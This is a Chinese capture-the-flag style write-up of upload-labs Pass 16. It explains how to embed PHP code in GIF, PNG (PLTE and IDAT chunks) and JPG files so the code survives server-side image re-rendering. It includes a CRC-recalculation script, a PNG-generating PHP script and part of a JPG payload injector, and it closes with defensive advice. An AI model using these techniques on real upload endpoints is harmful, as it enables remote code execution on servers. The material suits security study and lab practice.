upload-labs之pass 16详细分析
字数 1296 2025-08-27 12:33:22
绕过文件上传二次渲染技术详解
1. 二次渲染概述
二次渲染是指服务器在接收上传的图片文件后,会对其进行重新处理(如压缩、格式转换等),这通常会导致嵌入在图片中的恶意代码被清除。upload-labs pass 16关卡考察的就是如何绕过这种安全机制。
2. GIF文件绕过技术
2.1 基本原理
- GIF文件二次渲染后,某些数据区域保持不变
- 找到这些不变区域插入PHP代码即可绕过
2.2 操作步骤
- 准备一个正常的GIF图片
- 使用十六进制编辑器在文件尾部添加PHP代码,如
<?php phpinfo(); ?> - 上传后下载渲染后的文件进行对比
- 通过对比找到未被修改的数据区域(通常为中间蓝色部分)
- 将PHP代码插入到这些不变区域中
- 重新上传修改后的GIF文件
2.3 验证方法
- 下载服务器上的文件
- 使用十六进制编辑器检查PHP代码是否保留
3. PNG文件绕过技术
3.1 PNG文件结构
PNG由多个数据块组成,关键数据块包括:
- IHDR:文件头数据块(必须第一个出现)
- PLTE:调色板数据块(索引彩色图像必需)
- IDAT:图像数据块(存储实际图像数据)
- IEND:图像结束数据块(必须位于文件尾部)
3.2 通过PLTE数据块绕过
适用条件:仅对索引彩色图像(IHDR中color type为03)有效
操作步骤:
- 使用十六进制编辑器在PLTE数据块中插入PHP代码
- 重新计算CRC校验值(算法:x³²+x²⁶+x²³+x²²+x¹⁶+x¹²+x¹¹+x¹⁰+x⁸+x⁷+x⁵+x⁴+x²+x+1)
- 使用Python脚本计算新CRC:
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
# PLTE crc计算
data = '504c5445' + re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
- 修改文件中的CRC值为计算结果
- 上传并验证
3.3 通过IDAT数据块绕过
使用专门生成的PNG文件:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
4. JPG文件绕过技术
4.1 使用专用工具
使用jpg_payload.php脚本处理JPG文件:
<?php
/*
JPG Payload注入脚本,保持处理后不变
要求初始图像的大小和质量与处理后相同
*/
$miniPayload = "<?=phpinfo();?>";
// 检查GD库
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
// 使用方法: php jpg_payload.php <jpg_name.jpg>
// 详细代码见原文...
?>
4.2 操作步骤
- 准备一个JPG图片并上传到服务器
- 下载服务器处理后的图片保存为1.jpg
- 使用脚本处理:
php jpg_payload.php 1.jpg - 上传生成的payload_1.jpg
- 验证是否成功
4.3 注意事项
- 不是所有JPG图片都能成功处理
- 可能需要尝试多个不同的JPG文件
- 如果失败,尝试修改payload或在开头添加一些字符
5. 验证方法
对于所有文件类型,验证步骤相同:
- 上传文件到服务器
- 从服务器下载处理后的文件
- 使用十六进制编辑器检查文件中是否还包含PHP代码
- 如果代码存在,则绕过成功
6. 技术要点总结
- GIF文件:利用二次渲染中不变的数据区域插入代码
- PNG文件:
- 通过PLTE数据块(仅限索引彩色图像)
- 通过特殊构造的IDAT数据块
- JPG文件:使用专用脚本在特定位置注入payload
- 关键是要理解每种图片格式的数据结构
- 所有方法都需要重新计算和修正校验值(如CRC)
7. 防御建议
- 除了二次渲染,还应结合其他安全措施:
- 文件类型白名单验证
- 文件内容检测
- 随机重命名上传文件
- 设置适当的文件权限
- 禁用上传文件的执行权限
- 将上传文件存储在非web可访问目录,通过脚本间接访问